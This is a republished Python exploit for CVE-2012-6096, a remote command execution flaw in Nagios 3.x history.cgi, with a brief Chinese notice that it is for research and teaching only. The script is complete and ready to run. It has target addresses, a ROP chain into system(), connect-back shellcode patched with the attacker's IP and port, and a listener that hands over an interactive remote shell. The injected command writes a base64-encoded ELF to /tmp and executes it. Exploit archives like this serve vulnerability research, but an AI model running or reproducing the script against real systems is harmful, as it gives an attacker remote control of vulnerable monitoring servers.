Nagios 3.x Remote Command Execution
测试方法:
程序(方法)可能带有攻击性,仅供安全研究与教学之用,风险自负!
1 #!/usr/bin/python 2 # 3 # CVE-2012-6096 - Nagios history.cgi Remote Command Execution 4 # =========================================================== 5 # Another year, another reincarnation of classic and trivial 6 # bugs to exploit. This time we attack Nagios.. or more 7 # specifically, one of its CGI scripts. [1] 8 # 9 # The Nagios code is an amazing monster. It reminds me a 10 # lot of some of my early experiments in C, back when I 11 # still had no clue what I was doing. (Ok, fair enough, 12 # I still don't, heheh.) 13 # 14 # Ok, I'll come clean. This exploit doesn't exactly 15 # defeat FORTIFY. This approach is likely to work just FINE 16 # on other crippled distro's though, think of stuff like 17 # ArchLinux, Slackware, and all those Gentoo kids twiddling 18 # their CFLAGS. [2] (Oh and hey, BSD and stuff!) 19 # 20 # I do some very stupid shit(tm) here that might make an 21 # exploit coder or two cringe. My sincere apologies for that. 22 # 23 # Cold beer goes out to my friends who are still practicing 24 # this dying but interesting type of art: 25 # 26 # * brainsmoke * masc * iZsh * skier_ * steve * 27 # 28 # -- blasty <blasty@fail0verflow.com> / 2013-01-08 29 # 30 # References: 31 # [1] http://permalink.gmane.org/gmane.comp.security.oss.general/9109 32 # [2] http://www.funroll-loops.info/ 33 # 34 # P.S. To the clown who rebranded my Samba exploit: j00 s0 1337 m4n! 35 # Next time you rebrand an exploit at least show some diligence and 36 # add some additional targets or improvements, so we can all profit! 37 # 38 # P.P.S. hey, Im not _burning_ bugs .. this is a 2day, enjoy! 39 # 40 import os, sys, socket,struct, urllib, threading,SocketServer, time 41 from base64 import b64encode 42 SocketServer.TCPServer.allow_reuse_address =True 43 targets =[ 44 { 45 "name":"Debian (nagios3_3.0.6-4~lenny2_i386.deb)", 46 "smash_len":0xc37, 47 "unescape":0x0804b620, 48 "popret":0x08048fe4, 49 "hostbuf":0x080727a0, 50 "system_plt":0x08048c7c 51 } 52 ] 53 def u32h(v): 54 returnstruct.pack("<L", v).encode('hex') 55 def u32(v, hex =False): 56 returnstruct.pack("<L", v) 57 # Tiny ELF stub based on: 58 # http://www.muppetlabs.com/~breadbox/software/tiny/teensy.html 59 def make_elf(sc): 60 elf_head = \ 61 "7f454c46010101000000000000000000"+ \ 62 "02000300010000005480040834000000"+ \ 63 "00000000000000003400200001000000"+ \ 64 "00000000010000000000000000800408"+ \ 65 "00800408"+ u32h(0x54+len(sc))*2+ \ 66 "0500000000100000" 67 return elf_head.decode("hex")+ sc 68 # interactive connectback listener 69 class connectback_shell(SocketServer.BaseRequestHandler): 70 def handle(self): 71 print"\n[!!] K4P0W!@# -> shell from %s"%self.client_address[0] 72 print"[**] This shell is powered by insane amounts of illegal substances" 73 s =self.request 74 import termios, tty,select, os 75 old_settings = termios.tcgetattr(0) 76 try: 77 tty.setcbreak(0) 78 c =True 79 os.write(s.fileno(),"id\nuname -a\n") 80 while c: 81 for i inselect.select([0, s.fileno()],[],[],0)[0]: 82 c = os.read(i,1024) 83 if c: 84 if i ==0: 85 os.write(1, c) 86 os.write(s.fileno()if i ==0else1, c) 87 exceptKeyboardInterrupt:pass 88 finally: termios.tcsetattr(0, termios.TCSADRAIN, old_settings) 89 return 90 classThreadedTCPServer(SocketServer.ThreadingMixIn,SocketServer.TCPServer): 91 pass 92 if len(sys.argv)!=5: 93 print"\n >> Nagios 3.x CGI remote code execution by <blasty@fail0verflow.com>" 94 print" >> \"Jetzt geht's Nagi-los!\"\n" 95 print" usage: %s <base_uri> <myip> <myport> <target>\n"%(sys.argv[0]) 96 print" targets:" 97 i =0 98 for target in targets: 99 print" %02d) %s"%(i, target['name']) 100 i = i+1 101 print"" 102 sys.exit(-1) 103 target_no =int(sys.argv[4]) 104 if target_no <0or target_no > len(targets): 105 print"Invalid target specified" 106 sys.exit(-1) 107 target = targets[int(sys.argv[4])] 108 # comment this shit if you want to setup your own listener 109 server =ThreadedTCPServer((sys.argv[2],int(sys.argv[3])), connectback_shell) 110 server_thread = threading.Thread(target=server.serve_forever) 111 server_thread.daemon =True 112 server_thread.start() 113 # shellcode to be executed 114 # vanilla x86/linux connectback written by a dutch gentleman 115 # close to a decade ago. 116 cback = \ 117 "31c031db31c951b10651b10151b10251"+ \ 118 "89e1b301b066cd8089c231c031c95151"+ \ 119 "68badc0ded6668b0efb102665189e7b3"+ \ 120 "1053575289e1b303b066cd8031c939c1"+ \ 121 "740631c0b001cd8031c0b03f89d3cd80"+ \ 122 "31c0b03f89d3b101cd8031c0b03f89d3"+ \ 123 "b102cd8031c031d250686e2f7368682f"+ \ 124 "2f626989e3505389e1b00bcd8031c0b0"+ \ 125 "01cd80" 126 cback = cback.replace("badc0ded", socket.inet_aton(sys.argv[2]).encode("hex")) 127 cback = cback.replace("b0ef",struct.pack(">H",int(sys.argv[3])).encode("hex")) 128 # Eww.. so there's some characters that dont survive the trip.. 129 # yes, even with the unescape() call in our return-chain.. 130 # initially I was going to use some /dev/tcp based connectback.. 131 # but /dev/tcp isn't available/accesible everywhere, so instead 132 # we drop an ELF into /tmp and execute that. The '>' characters 133 # also doesn't survive the trip so we work around this by using 134 # the tee(1) utility. 135 # If your target has a /tmp that is mounted with noexec flag, 136 # is severely firewalled or guarded by trained (watch)dogs.. 137 # you might want to reconsider this approach! 138 cmd = \ 139 "rm -rf /tmp/x;"+ \ 140 "echo "+ b64encode(make_elf(cback.decode('hex')))+"|"+ \ 141 "base64 -d|tee /tmp/x|chmod +x /tmp/x;/tmp/x;" 142 # Spaces (0x20) are also a problem, they always ends up as '+' :-( 143 # so apply some olde trick and rely on $IFS for argv separation 144 cmd = cmd.replace(" ","${IFS}") 145 # Basic return-2-whatever/ROP chain. 146 # We return into cgi_input_unescape() to get rid of 147 # URL escaping in a static buffer we control, and then 148 # we return into system@plt for the moneyshot. 149 # 150 # Ergo sum: 151 # There's no memoryleak or whatever needed to leak libc 152 # base and bypass ASLR.. This entire Nagios PoS is stringed 153 # together by system() calls, so pretty much every single one 154 # of their little silly binaries comes with a PLT entry for 155 # system(), huzzah! 156 rop =[ 157 u32(target['unescape']), 158 u32(target['popret']), 159 u32(target['hostbuf']), 160 u32(target['system_plt']), 161 u32(0xdeafbabe), 162 u32(target['hostbuf']) 163 ] 164 # Yes.. urllib, so it supports HTTPS, basic-auth and whatnot 165 # out of the box. Building HTTP requests from scratch is so 90ies.. 166 params= urllib.urlencode({ 167 'host': cmd +"A"*(target['smash_len']-len(cmd))+"".join(rop) 168 }) 169 print"[>>] CL1Q .." 170 f = urllib.urlopen(sys.argv[1]+"/cgi-bin/history.cgi?%s"%params) 171 print"[>>] CL4Q .." 172 f.read() 173 # TRIAL PERIOD ACTIVE, LOL! 174 time.sleep(0x666) 175 server.shutdown()